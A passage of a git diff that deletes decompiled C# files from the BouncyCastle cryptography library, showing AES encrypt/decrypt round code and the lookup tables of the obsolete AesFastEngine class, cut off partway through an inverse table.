(forEncryption) - { - EncryptBlock(WorkingKey); - } - else - { - DecryptBlock(WorkingKey); - } - PackBlock(output, outOff); - return 16; - } - - public virtual void Reset() - { - } - - private void UnPackBlock(byte[] bytes, int off) - { - C0 = Pack.LE_To_UInt32(bytes, off); - C1 = Pack.LE_To_UInt32(bytes, off + 4); - C2 = Pack.LE_To_UInt32(bytes, off + 8); - C3 = Pack.LE_To_UInt32(bytes, off + 12); - } - - private void PackBlock(byte[] bytes, int off) - { - Pack.UInt32_To_LE(C0, bytes, off); - Pack.UInt32_To_LE(C1, bytes, off + 4); - Pack.UInt32_To_LE(C2, bytes, off + 8); - Pack.UInt32_To_LE(C3, bytes, off + 12); - } - - private void EncryptBlock(uint[][] KW) - { - uint[] array = KW[0]; - uint num = C0 ^ array[0]; - uint num2 = C1 ^ array[1]; - uint num3 = C2 ^ array[2]; - uint num4 = C3 ^ array[3]; - int num5 = 1; - uint num6; - uint num7; - uint num8; - while (num5 < ROUNDS - 1) - { - array = KW[num5++]; - num6 = T0[num & 0xFF] ^ Shift(T0[(num2 >> 8) & 0xFF], 24) ^ Shift(T0[(num3 >> 16) & 0xFF], 16) ^ Shift(T0[(num4 >> 24) & 0xFF], 8) ^ array[0]; - num7 = T0[num2 & 0xFF] ^ Shift(T0[(num3 >> 8) & 0xFF], 24) ^ Shift(T0[(num4 >> 16) & 0xFF], 16) ^ Shift(T0[(num >> 24) & 0xFF], 8) ^ array[1]; - num8 = T0[num3 & 0xFF] ^ Shift(T0[(num4 >> 8) & 0xFF], 24) ^ Shift(T0[(num >> 16) & 0xFF], 16) ^ Shift(T0[(num2 >> 24) & 0xFF], 8) ^ array[2]; - num4 = T0[num4 & 0xFF] ^ Shift(T0[(num >> 8) & 0xFF], 24) ^ Shift(T0[(num2 >> 16) & 0xFF], 16) ^ Shift(T0[(num3 >> 24) & 0xFF], 8) ^ array[3]; - array = KW[num5++]; - num = T0[num6 & 0xFF] ^ Shift(T0[(num7 >> 8) & 0xFF], 24) ^ Shift(T0[(num8 >> 16) & 0xFF], 16) ^ Shift(T0[(num4 >> 24) & 0xFF], 8) ^ array[0]; - num2 = T0[num7 & 0xFF] ^ Shift(T0[(num8 >> 8) & 0xFF], 24) ^ Shift(T0[(num4 >> 16) & 0xFF], 16) ^ Shift(T0[(num6 >> 24) & 0xFF], 8) ^ array[1]; - num3 = T0[num8 & 0xFF] ^ Shift(T0[(num4 >> 8) & 0xFF], 24) ^ Shift(T0[(num6 >> 16) & 0xFF], 16) ^ Shift(T0[(num7 >> 24) & 0xFF], 8) ^ array[2]; - num4 = T0[num4 & 0xFF] ^ Shift(T0[(num6 >> 8) & 0xFF], 24) ^ Shift(T0[(num7 >> 16) & 0xFF], 16) ^ Shift(T0[(num8 >> 24) & 0xFF], 8) ^ array[3]; - } - array = KW[num5++]; - num6 = T0[num & 0xFF] ^ Shift(T0[(num2 >> 8) & 0xFF], 24) ^ Shift(T0[(num3 >> 16) & 0xFF], 16) ^ Shift(T0[(num4 >> 24) & 0xFF], 8) ^ array[0]; - num7 = T0[num2 & 0xFF] ^ Shift(T0[(num3 >> 8) & 0xFF], 24) ^ Shift(T0[(num4 >> 16) & 0xFF], 16) ^ Shift(T0[(num >> 24) & 0xFF], 8) ^ array[1]; - num8 = T0[num3 & 0xFF] ^ Shift(T0[(num4 >> 8) & 0xFF], 24) ^ Shift(T0[(num >> 16) & 0xFF], 16) ^ Shift(T0[(num2 >> 24) & 0xFF], 8) ^ array[2]; - num4 = T0[num4 & 0xFF] ^ Shift(T0[(num >> 8) & 0xFF], 24) ^ Shift(T0[(num2 >> 16) & 0xFF], 16) ^ Shift(T0[(num3 >> 24) & 0xFF], 8) ^ array[3]; - array = KW[num5]; - C0 = (uint)(S[num6 & 0xFF] ^ (S[(num7 >> 8) & 0xFF] << 8) ^ (s[(num8 >> 16) & 0xFF] << 16) ^ (s[(num4 >> 24) & 0xFF] << 24)) ^ array[0]; - C1 = (uint)(s[num7 & 0xFF] ^ (S[(num8 >> 8) & 0xFF] << 8) ^ (S[(num4 >> 16) & 0xFF] << 16) ^ (s[(num6 >> 24) & 0xFF] << 24)) ^ array[1]; - C2 = (uint)(s[num8 & 0xFF] ^ (S[(num4 >> 8) & 0xFF] << 8) ^ (S[(num6 >> 16) & 0xFF] << 16) ^ (S[(num7 >> 24) & 0xFF] << 24)) ^ array[2]; - C3 = (uint)(s[num4 & 0xFF] ^ (s[(num6 >> 8) & 0xFF] << 8) ^ (s[(num7 >> 16) & 0xFF] << 16) ^ (S[(num8 >> 24) & 0xFF] << 24)) ^ array[3]; - } - - private void DecryptBlock(uint[][] KW) - { - uint[] array = KW[ROUNDS]; - uint num = C0 ^ array[0]; - uint num2 = C1 ^ array[1]; - uint num3 = C2 ^ array[2]; - uint num4 = C3 ^ array[3]; - int num5 = ROUNDS - 1; - uint num6; - uint num7; - uint num8; - while (num5 > 1) - { - array = KW[num5--]; - num6 = Tinv0[num & 0xFF] ^ Shift(Tinv0[(num4 >> 8) & 0xFF], 24) ^ Shift(Tinv0[(num3 >> 16) & 0xFF], 16) ^ Shift(Tinv0[(num2 >> 24) & 0xFF], 8) ^ array[0]; - num7 = Tinv0[num2 & 0xFF] ^ Shift(Tinv0[(num >> 8) & 0xFF], 24) ^ Shift(Tinv0[(num4 >> 16) & 0xFF], 16) ^ Shift(Tinv0[(num3 >> 24) & 0xFF], 8) ^ array[1]; - num8 = Tinv0[num3 & 0xFF] ^ Shift(Tinv0[(num2 >> 8) & 0xFF], 24) ^ Shift(Tinv0[(num >> 16) & 0xFF], 16) ^ Shift(Tinv0[(num4 >> 24) & 0xFF], 8) ^ array[2]; - num4 = Tinv0[num4 & 0xFF] ^ Shift(Tinv0[(num3 >> 8) & 0xFF], 24) ^ Shift(Tinv0[(num2 >> 16) & 0xFF], 16) ^ Shift(Tinv0[(num >> 24) & 0xFF], 8) ^ array[3]; - array = KW[num5--]; - num = Tinv0[num6 & 0xFF] ^ Shift(Tinv0[(num4 >> 8) & 0xFF], 24) ^ Shift(Tinv0[(num8 >> 16) & 0xFF], 16) ^ Shift(Tinv0[(num7 >> 24) & 0xFF], 8) ^ array[0]; - num2 = Tinv0[num7 & 0xFF] ^ Shift(Tinv0[(num6 >> 8) & 0xFF], 24) ^ Shift(Tinv0[(num4 >> 16) & 0xFF], 16) ^ Shift(Tinv0[(num8 >> 24) & 0xFF], 8) ^ array[1]; - num3 = Tinv0[num8 & 0xFF] ^ Shift(Tinv0[(num7 >> 8) & 0xFF], 24) ^ Shift(Tinv0[(num6 >> 16) & 0xFF], 16) ^ Shift(Tinv0[(num4 >> 24) & 0xFF], 8) ^ array[2]; - num4 = Tinv0[num4 & 0xFF] ^ Shift(Tinv0[(num8 >> 8) & 0xFF], 24) ^ Shift(Tinv0[(num7 >> 16) & 0xFF], 16) ^ Shift(Tinv0[(num6 >> 24) & 0xFF], 8) ^ array[3]; - } - array = KW[1]; - num6 = Tinv0[num & 0xFF] ^ Shift(Tinv0[(num4 >> 8) & 0xFF], 24) ^ Shift(Tinv0[(num3 >> 16) & 0xFF], 16) ^ Shift(Tinv0[(num2 >> 24) & 0xFF], 8) ^ array[0]; - num7 = Tinv0[num2 & 0xFF] ^ Shift(Tinv0[(num >> 8) & 0xFF], 24) ^ Shift(Tinv0[(num4 >> 16) & 0xFF], 16) ^ Shift(Tinv0[(num3 >> 24) & 0xFF], 8) ^ array[1]; - num8 = Tinv0[num3 & 0xFF] ^ Shift(Tinv0[(num2 >> 8) & 0xFF], 24) ^ Shift(Tinv0[(num >> 16) & 0xFF], 16) ^ Shift(Tinv0[(num4 >> 24) & 0xFF], 8) ^ array[2]; - num4 = Tinv0[num4 & 0xFF] ^ Shift(Tinv0[(num3 >> 8) & 0xFF], 24) ^ Shift(Tinv0[(num2 >> 16) & 0xFF], 16) ^ Shift(Tinv0[(num >> 24) & 0xFF], 8) ^ array[3]; - array = KW[0]; - C0 = (uint)(Si[num6 & 0xFF] ^ (s[(num4 >> 8) & 0xFF] << 8) ^ (s[(num8 >> 16) & 0xFF] << 16) ^ (Si[(num7 >> 24) & 0xFF] << 24)) ^ array[0]; - C1 = (uint)(s[num7 & 0xFF] ^ (s[(num6 >> 8) & 0xFF] << 8) ^ (Si[(num4 >> 16) & 0xFF] << 16) ^ (s[(num8 >> 24) & 0xFF] << 24)) ^ array[1]; - C2 = (uint)(s[num8 & 0xFF] ^ (Si[(num7 >> 8) & 0xFF] << 8) ^ (Si[(num6 >> 16) & 0xFF] << 16) ^ (s[(num4 >> 24) & 0xFF] << 24)) ^ array[2]; - C3 = (uint)(Si[num4 & 0xFF] ^ (s[(num8 >> 8) & 0xFF] << 8) ^ (s[(num7 >> 16) & 0xFF] << 16) ^ (s[(num6 >> 24) & 0xFF] << 24)) ^ array[3]; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/AesFastEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/AesFastEngine.cs deleted file mode 100644 index 9f9b5c6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/AesFastEngine.cs +++ /dev/null @@ -1,688 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -[Obsolete("Use AesEngine instead")] -public class AesFastEngine : IBlockCipher -{ - private const uint m1 = 2155905152u; - - private const uint m2 = 2139062143u; - - private const uint m3 = 27u; - - private const uint m4 = 3233857728u; - - private const uint m5 = 1061109567u; - - private const int BLOCK_SIZE = 16; - - private static readonly byte[] S = new byte[256] - { - 99, 124, 119, 123, 242, 107, 111, 197, 48, 1, - 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, - 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, - 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, - 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, - 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, - 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, - 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, - 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, - 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, - 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, - 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, - 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, - 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, - 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, - 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, - 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, - 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, - 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, - 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, - 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, - 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, - 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, - 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, - 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, - 45, 15, 176, 84, 187, 22 - }; - - private static readonly byte[] Si = new byte[256] - { - 82, 9, 106, 213, 48, 54, 165, 56, 191, 64, - 163, 158, 129, 243, 215, 251, 124, 227, 57, 130, - 155, 47, 255, 135, 52, 142, 67, 68, 196, 222, - 233, 203, 84, 123, 148, 50, 166, 194, 35, 61, - 238, 76, 149, 11, 66, 250, 195, 78, 8, 46, - 161, 102, 40, 217, 36, 178, 118, 91, 162, 73, - 109, 139, 209, 37, 114, 248, 246, 100, 134, 104, - 152, 22, 212, 164, 92, 204, 93, 101, 182, 146, - 108, 112, 72, 80, 253, 237, 185, 218, 94, 21, - 70, 87, 167, 141, 157, 132, 144, 216, 171, 0, - 140, 188, 211, 10, 247, 228, 88, 5, 184, 179, - 69, 6, 208, 44, 30, 143, 202, 63, 15, 2, - 193, 175, 189, 3, 1, 19, 138, 107, 58, 145, - 17, 65, 79, 103, 220, 234, 151, 242, 207, 206, - 240, 180, 230, 115, 150, 172, 116, 34, 231, 173, - 53, 133, 226, 249, 55, 232, 28, 117, 223, 110, - 71, 241, 26, 113, 29, 41, 197, 137, 111, 183, - 98, 14, 170, 24, 190, 27, 252, 86, 62, 75, - 198, 210, 121, 32, 154, 219, 192, 254, 120, 205, - 90, 244, 31, 221, 168, 51, 136, 7, 199, 49, - 177, 18, 16, 89, 39, 128, 236, 95, 96, 81, - 127, 169, 25, 181, 74, 13, 45, 229, 122, 159, - 147, 201, 156, 239, 160, 224, 59, 77, 174, 42, - 245, 176, 200, 235, 187, 60, 131, 83, 153, 97, - 23, 43, 4, 126, 186, 119, 214, 38, 225, 105, - 20, 99, 85, 33, 12, 125 - }; - - private static readonly byte[] rcon = new byte[30] - { - 1, 2, 4, 8, 16, 32, 64, 128, 27, 54, - 108, 216, 171, 77, 154, 47, 94, 188, 99, 198, - 151, 53, 106, 212, 179, 125, 250, 239, 197, 145 - }; - - private static readonly uint[] T0 = new uint[256] - { - 2774754246u, 2222750968u, 2574743534u, 2373680118u, 234025727u, 3177933782u, 2976870366u, 1422247313u, 1345335392u, 50397442u, - 2842126286u, 2099981142u, 436141799u, 1658312629u, 3870010189u, 2591454956u, 1170918031u, 2642575903u, 1086966153u, 2273148410u, - 368769775u, 3948501426u, 3376891790u, 200339707u, 3970805057u, 1742001331u, 4255294047u, 3937382213u, 3214711843u, 4154762323u, - 2524082916u, 1539358875u, 3266819957u, 486407649u, 2928907069u, 1780885068u, 1513502316u, 1094664062u, 49805301u, 1338821763u, - 1546925160u, 4104496465u, 887481809u, 150073849u, 2473685474u, 1943591083u, 1395732834u, 1058346282u, 201589768u, 1388824469u, - 1696801606u, 1589887901u, 672667696u, 2711000631u, 251987210u, 3046808111u, 151455502u, 907153956u, 2608889883u, 1038279391u, - 652995533u, 1764173646u, 3451040383u, 2675275242u, 453576978u, 2659418909u, 1949051992u, 773462580u, 756751158u, 2993581788u, - 3998898868u, 4221608027u, 4132590244u, 1295727478u, 1641469623u, 3467883389u, 2066295122u, 1055122397u, 1898917726u, 2542044179u, - 4115878822u, 1758581177u, 0u, 753790401u, 1612718144u, 536673507u, 3367088505u, 3982187446u, 3194645204u, 1187761037u, - 3653156455u, 1262041458u, 3729410708u, 3561770136u, 3898103984u, 1255133061u, 1808847035u, 720367557u, 3853167183u, 385612781u, - 3309519750u, 3612167578u, 1429418854u, 2491778321u, 3477423498u, 284817897u, 100794884u, 2172616702u, 4031795360u, 1144798328u, - 3131023141u, 3819481163u, 4082192802u, 4272137053u, 3225436288u, 2324664069u, 2912064063u, 3164445985u, 1211644016u, 83228145u, - 3753688163u, 3249976951u, 1977277103u, 1663115586u, 806359072u, 452984805u, 250868733u, 1842533055u, 1288555905u, 336333848u, - 890442534u, 804056259u, 3781124030u, 2727843637u, 3427026056u, 957814574u, 1472513171u, 4071073621u, 2189328124u, 1195195770u, - 2892260552u, 3881655738u, 723065138u, 2507371494u, 2690670784u, 2558624025u, 3511635870u, 2145180835u, 1713513028u, 2116692564u, - 2878378043u, 2206763019u, 3393603212u, 703524551u, 3552098411u, 1007948840u, 2044649127u, 3797835452u, 487262998u, 1994120109u, - 1004593371u, 1446130276u, 1312438900u, 503974420u, 3679013266u, 168166924u, 1814307912u, 3831258296u, 1573044895u, 1859376061u, - 4021070915u, 2791465668u, 2828112185u, 2761266481u, 937747667u, 2339994098u, 854058965u, 1137232011u, 1496790894u, 3077402074u, - 2358086913u, 1691735473u, 3528347292u, 3769215305u, 3027004632u, 4199962284u, 133494003u, 636152527u, 2942657994u, 2390391540u, - 3920539207u, 403179536u, 3585784431u, 2289596656u, 1864705354u, 1915629148u, 605822008u, 4054230615u, 3350508659u, 1371981463u, - 602466507u, 2094914977u, 2624877800u, 555687742u, 3712699286u, 3703422305u, 2257292045u, 2240449039u, 2423288032u, 1111375484u, - 3300242801u, 2858837708u, 3628615824u, 84083462u, 32962295u, 302911004u, 2741068226u, 1597322602u, 4183250862u, 3501832553u, - 2441512471u, 1489093017u, 656219450u, 3114180135u, 954327513u, 335083755u, 3013122091u, 856756514u, 3144247762u, 1893325225u, - 2307821063u, 2811532339u, 3063651117u, 572399164u, 2458355477u, 552200649u, 1238290055u, 4283782570u, 2015897680u, 2061492133u, - 2408352771u, 4171342169u, 2156497161u, 386731290u, 3669999461u, 837215959u, 3326231172u, 3093850320u, 3275833730u, 2962856233u, - 1999449434u, 286199582u, 3417354363u, 4233385128u, 3602627437u, 974525996u - }; - - private static readonly uint[] T1 = new uint[256] - { - 1667483301u, 2088564868u, 2004348569u, 2071721613u, 4076011277u, 1802229437u, 1869602481u, 3318059348u, 808476752u, 16843267u, - 1734856361u, 724260477u, 4278118169u, 3621238114u, 2880130534u, 1987505306u, 3402272581u, 2189565853u, 3385428288u, 2105408135u, - 4210749205u, 1499050731u, 1195871945u, 4042324747u, 2913812972u, 3570709351u, 2728550397u, 2947499498u, 2627478463u, 2762232823u, - 1920132246u, 3233848155u, 3082253762u, 4261273884u, 2475900334u, 640044138u, 909536346u, 1061125697u, 4160222466u, 3435955023u, - 875849820u, 2779075060u, 3857043764u, 4059166984u, 1903288979u, 3638078323u, 825320019u, 353708607u, 67373068u, 3351745874u, - 589514341u, 3284376926u, 404238376u, 2526427041u, 84216335u, 2593796021u, 117902857u, 303178806u, 2155879323u, 3806519101u, - 3958099238u, 656887401u, 2998042573u, 1970662047u, 151589403u, 2206408094u, 741103732u, 437924910u, 454768173u, 1852759218u, - 1515893998u, 2694863867u, 1381147894u, 993752653u, 3604395873u, 3014884814u, 690573947u, 3823361342u, 791633521u, 2223248279u, - 1397991157u, 3520182632u, 0u, 3991781676u, 538984544u, 4244431647u, 2981198280u, 1532737261u, 1785386174u, 3419114822u, - 3200149465u, 960066123u, 1246401758u, 1280088276u, 1482207464u, 3486483786u, 3503340395u, 4025468202u, 2863288293u, 4227591446u, - 1128498885u, 1296931543u, 859006549u, 2240090516u, 1162185423u, 4193904912u, 33686534u, 2139094657u, 1347461360u, 1010595908u, - 2678007226u, 2829601763u, 1364304627u, 2745392638u, 1077969088u, 2408514954u, 2459058093u, 2644320700u, 943222856u, 4126535940u, - 3166462943u, 3065411521u, 3671764853u, 555827811u, 269492272u, 4294960410u, 4092853518u, 3537026925u, 3452797260u, 202119188u, - 320022069u, 3974939439u, 1600110305u, 2543269282u, 1145342156u, 387395129u, 3301217111u, 2812761586u, 2122251394u, 1027439175u, - 1684326572u, 1566423783u, 421081643u, 1936975509u, 1616953504u, 2172721560u, 1330618065u, 3705447295u, 572671078u, 707417214u, - 2425371563u, 2290617219u, 1179028682u, 4008625961u, 3099093971u, 336865340u, 3739133817u, 1583267042u, 185275933u, 3688607094u, - 3772832571u, 842163286u, 976909390u, 168432670u, 1229558491u, 101059594u, 606357612u, 1549580516u, 3267534685u, 3553869166u, - 2896970735u, 1650640038u, 2442213800u, 2509582756u, 3840201527u, 2038035083u, 3890730290u, 3368586051u, 926379609u, 1835915959u, - 2374828428u, 3587551588u, 1313774802u, 2846444000u, 1819072692u, 1448520954u, 4109693703u, 3941256997u, 1701169839u, 2054878350u, - 2930657257u, 134746136u, 3132780501u, 2021191816u, 623200879u, 774790258u, 471611428u, 2795919345u, 3031724999u, 3334903633u, - 3907570467u, 3722289532u, 1953818780u, 522141217u, 1263245021u, 3183305180u, 2341145990u, 2324303749u, 1886445712u, 1044282434u, - 3048567236u, 1718013098u, 1212715224u, 50529797u, 4143380225u, 235805714u, 1633796771u, 892693087u, 1465364217u, 3115936208u, - 2256934801u, 3250690392u, 488454695u, 2661164985u, 3789674808u, 4177062675u, 2560109491u, 286335539u, 1768542907u, 3654920560u, - 2391672713u, 2492740519u, 2610638262u, 505297954u, 2273777042u, 3924412704u, 3469641545u, 1431677695u, 673730680u, 3755976058u, - 2357986191u, 2711706104u, 2307459456u, 218962455u, 3216991706u, 3873888049u, 1111655622u, 1751699640u, 1094812355u, 2576951728u, - 757946999u, 252648977u, 2964356043u, 1414834428u, 3149622742u, 370551866u - }; - - private static readonly uint[] T2 = new uint[256] - { - 1673962851u, 2096661628u, 2012125559u, 2079755643u, 4076801522u, 1809235307u, 1876865391u, 3314635973u, 811618352u, 16909057u, - 1741597031u, 727088427u, 4276558334u, 3618988759u, 2874009259u, 1995217526u, 3398387146u, 2183110018u, 3381215433u, 2113570685u, - 4209972730u, 1504897881u, 1200539975u, 4042984432u, 2906778797u, 3568527316u, 2724199842u, 2940594863u, 2619588508u, 2756966308u, - 1927583346u, 3231407040u, 3077948087u, 4259388669u, 2470293139u, 642542118u, 913070646u, 1065238847u, 4160029431u, 3431157708u, - 879254580u, 2773611685u, 3855693029u, 4059629809u, 1910674289u, 3635114968u, 828527409u, 355090197u, 67636228u, 3348452039u, - 591815971u, 3281870531u, 405809176u, 2520228246u, 84545285u, 2586817946u, 118360327u, 304363026u, 2149292928u, 3806281186u, - 3956090603u, 659450151u, 2994720178u, 1978310517u, 152181513u, 2199756419u, 743994412u, 439627290u, 456535323u, 1859957358u, - 1521806938u, 2690382752u, 1386542674u, 997608763u, 3602342358u, 3011366579u, 693271337u, 3822927587u, 794718511u, 2215876484u, - 1403450707u, 3518589137u, 0u, 3988860141u, 541089824u, 4242743292u, 2977548465u, 1538714971u, 1792327274u, 3415033547u, - 3194476990u, 963791673u, 1251270218u, 1285084236u, 1487988824u, 3481619151u, 3501943760u, 4022676207u, 2857362858u, 4226619131u, - 1132905795u, 1301993293u, 862344499u, 2232521861u, 1166724933u, 4192801017u, 33818114u, 2147385727u, 1352724560u, 1014514748u, - 2670049951u, 2823545768u, 1369633617u, 2740846243u, 1082179648u, 2399505039u, 2453646738u, 2636233885u, 946882616u, 4126213365u, - 3160661948u, 3061301686u, 3668932058u, 557998881u, 270544912u, 4293204735u, 4093447923u, 3535760850u, 3447803085u, 202904588u, - 321271059u, 3972214764u, 1606345055u, 2536874647u, 1149815876u, 388905239u, 3297990596u, 2807427751u, 2130477694u, 1031423805u, - 1690872932u, 1572530013u, 422718233u, 1944491379u, 1623236704u, 2165938305u, 1335808335u, 3701702620u, 574907938u, 710180394u, - 2419829648u, 2282455944u, 1183631942u, 4006029806u, 3094074296u, 338181140u, 3735517662u, 1589437022u, 185998603u, 3685578459u, - 3772464096u, 845436466u, 980700730u, 169090570u, 1234361161u, 101452294u, 608726052u, 1555620956u, 3265224130u, 3552407251u, - 2890133420u, 1657054818u, 2436475025u, 2503058581u, 3839047652u, 2045938553u, 3889509095u, 3364570056u, 929978679u, 1843050349u, - 2365688973u, 3585172693u, 1318900302u, 2840191145u, 1826141292u, 1454176854u, 4109567988u, 3939444202u, 1707781989u, 2062847610u, - 2923948462u, 135272456u, 3127891386u, 2029029496u, 625635109u, 777810478u, 473441308u, 2790781350u, 3027486644u, 3331805638u, - 3905627112u, 3718347997u, 1961401460u, 524165407u, 1268178251u, 3177307325u, 2332919435u, 2316273034u, 1893765232u, 1048330814u, - 3044132021u, 1724688998u, 1217452104u, 50726147u, 4143383030u, 236720654u, 1640145761u, 896163637u, 1471084887u, 3110719673u, - 2249691526u, 3248052417u, 490350365u, 2653403550u, 3789109473u, 4176155640u, 2553000856u, 287453969u, 1775418217u, 3651760345u, - 2382858638u, 2486413204u, 2603464347u, 507257374u, 2266337927u, 3922272489u, 3464972750u, 1437269845u, 676362280u, 3752164063u, - 2349043596u, 2707028129u, 2299101321u, 219813645u, 3211123391u, 3872862694u, 1115997762u, 1758509160u, 1099088705u, 2569646233u, - 760903469u, 253628687u, 2960903088u, 1420360788u, 3144537787u, 371997206u - }; - - private static readonly uint[] T3 = new uint[256] - { - 3332727651u, 4169432188u, 4003034999u, 4136467323u, 4279104242u, 3602738027u, 3736170351u, 2438251973u, 1615867952u, 33751297u, - 3467208551u, 1451043627u, 3877240574u, 3043153879u, 1306962859u, 3969545846u, 2403715786u, 530416258u, 2302724553u, 4203183485u, - 4011195130u, 3001768281u, 2395555655u, 4211863792u, 1106029997u, 3009926356u, 1610457762u, 1173008303u, 599760028u, 1408738468u, - 3835064946u, 2606481600u, 1975695287u, 3776773629u, 1034851219u, 1282024998u, 1817851446u, 2118205247u, 4110612471u, 2203045068u, - 1750873140u, 1374987685u, 3509904869u, 4178113009u, 3801313649u, 2876496088u, 1649619249u, 708777237u, 135005188u, 2505230279u, - 1181033251u, 2640233411u, 807933976u, 933336726u, 168756485u, 800430746u, 235472647u, 607523346u, 463175808u, 3745374946u, - 3441880043u, 1315514151u, 2144187058u, 3936318837u, 303761673u, 496927619u, 1484008492u, 875436570u, 908925723u, 3702681198u, - 3035519578u, 1543217312u, 2767606354u, 1984772923u, 3076642518u, 2110698419u, 1383803177u, 3711886307u, 1584475951u, 328696964u, - 2801095507u, 3110654417u, 0u, 3240947181u, 1080041504u, 3810524412u, 2043195825u, 3069008731u, 3569248874u, 2370227147u, - 1742323390u, 1917532473u, 2497595978u, 2564049996u, 2968016984u, 2236272591u, 3144405200u, 3307925487u, 1340451498u, 3977706491u, - 2261074755u, 2597801293u, 1716859699u, 294946181u, 2328839493u, 3910203897u, 67502594u, 4269899647u, 2700103760u, 2017737788u, - 632987551u, 1273211048u, 2733855057u, 1576969123u, 2160083008u, 92966799u, 1068339858u, 566009245u, 1883781176u, 4043634165u, - 1675607228u, 2009183926u, 2943736538u, 1113792801u, 540020752u, 3843751935u, 4245615603u, 3211645650u, 2169294285u, 403966988u, - 641012499u, 3274697964u, 3202441055u, 899848087u, 2295088196u, 775493399u, 2472002756u, 1441965991u, 4236410494u, 2051489085u, - 3366741092u, 3135724893u, 841685273u, 3868554099u, 3231735904u, 429425025u, 2664517455u, 2743065820u, 1147544098u, 1417554474u, - 1001099408u, 193169544u, 2362066502u, 3341414126u, 1809037496u, 675025940u, 2809781982u, 3168951902u, 371002123u, 2910247899u, - 3678134496u, 1683370546u, 1951283770u, 337512970u, 2463844681u, 201983494u, 1215046692u, 3101973596u, 2673722050u, 3178157011u, - 1139780780u, 3299238498u, 967348625u, 832869781u, 3543655652u, 4069226873u, 3576883175u, 2336475336u, 1851340599u, 3669454189u, - 25988493u, 2976175573u, 2631028302u, 1239460265u, 3635702892u, 2902087254u, 4077384948u, 3475368682u, 3400492389u, 4102978170u, - 1206496942u, 270010376u, 1876277946u, 4035475576u, 1248797989u, 1550986798u, 941890588u, 1475454630u, 1942467764u, 2538718918u, - 3408128232u, 2709315037u, 3902567540u, 1042358047u, 2531085131u, 1641856445u, 226921355u, 260409994u, 3767562352u, 2084716094u, - 1908716981u, 3433719398u, 2430093384u, 100991747u, 4144101110u, 470945294u, 3265487201u, 1784624437u, 2935576407u, 1775286713u, - 395413126u, 2572730817u, 975641885u, 666476190u, 3644383713u, 3943954680u, 733190296u, 573772049u, 3535497577u, 2842745305u, - 126455438u, 866620564u, 766942107u, 1008868894u, 361924487u, 3374377449u, 2269761230u, 2868860245u, 1350051880u, 2776293343u, - 59739276u, 1509466529u, 159418761u, 437718285u, 1708834751u, 3610371814u, 2227585602u, 3501746280u, 2193834305u, 699439513u, - 1517759789u, 504434447u, 2076946608u, 2835108948u, 1842789307u, 742004246u - }; - - private static readonly uint[] Tinv0 = new uint[256] - { - 1353184337u, 1399144830u, 3282310938u, 2522752826u, 3412831035u, 4047871263u, 2874735276u, 2466505547u, 1442459680u, 4134368941u, - 2440481928u, 625738485u, 4242007375u, 3620416197u, 2151953702u, 2409849525u, 1230680542u, 1729870373u, 2551114309u, 3787521629u, - 41234371u, 317738113u, 2744600205u, 3338261355u, 3881799427u, 2510066197u, 3950669247u, 3663286933u, 763608788u, 3542185048u, - 694804553u, 1154009486u, 1787413109u, 2021232372u, 1799248025u, 3715217703u, 3058688446u, 397248752u, 1722556617u, 3023752829u, - 407560035u, 2184256229u, 1613975959u, 1165972322u, 3765920945u, 2226023355u, 480281086u, 2485848313u, 1483229296u, 436028815u, - 2272059028u, 3086515026u, 601060267u, 3791801202u, 1468997603u, 715871590u, 120122290u, 63092015u, 2591802758u, 2768779219u, - 4068943920u, 2997206819u, 3127509762u, 1552029421u, 723308426u, 2461301159u, 4042393587u, 2715969870u, 3455375973u, 3586000134u, - 526529745u, 2331944644u, 2639474228u, 2689987490u, 853641733u, 1978398372u, 971801355u, 2867814464u, 111112542u, 1360031421u, - 4186579262u, 1023860118u, 2919579357u, 1186850381u, 3045938321u, 90031217u, 1876166148u, 4279586912u, 620468249u, 2548678102u, - 3426959497u, 2006899047u, 3175278768u, 2290845959u, 945494503u, 3689859193u, 1191869601u, 3910091388u, 3374220536u, 0u, - 2206629897u, 1223502642u, 2893025566u, 1316117100u, 4227796733u, 1446544655u, 517320253u, 658058550u, 1691946762u, 564550760u, - 3511966619u, 976107044u, 2976320012u, 266819475u, 3533106868u, 2660342555u, 1338359936u, 2720062561u, 1766553434u, 370807324u, - 179999714u, 3844776128u, 1138762300u, 488053522u, 185403662u, 2915535858u, 3114841645u, 3366526484u, 2233069911u, 1275557295u, - 3151862254u, 4250959779u, 2670068215u, 3170202204u, 3309004356u, 880737115u, 1982415755u, 3703972811u, 1761406390u, 1676797112u, - 3403428311u, 277177154u, 1076008723u, 538035844u, 2099530373u, 4164795346u, 288553390u, 1839278535u, 1261411869u, 4080055004u, - 3964831245u, 3504587127u, 1813426987u, 2579067049u, 4199060497u, 577038663u, 3297574056u, 440397984u, 3626794326u, 4019204898u, - 3343796615u, 3251714265u, 4272081548u, 906744984u, 3481400742u, 685669029u, 646887386u, 2764025151u, 3835509292u, 227702864u, - 2613862250u, 1648787028u, 3256061430u, 3904428176u, 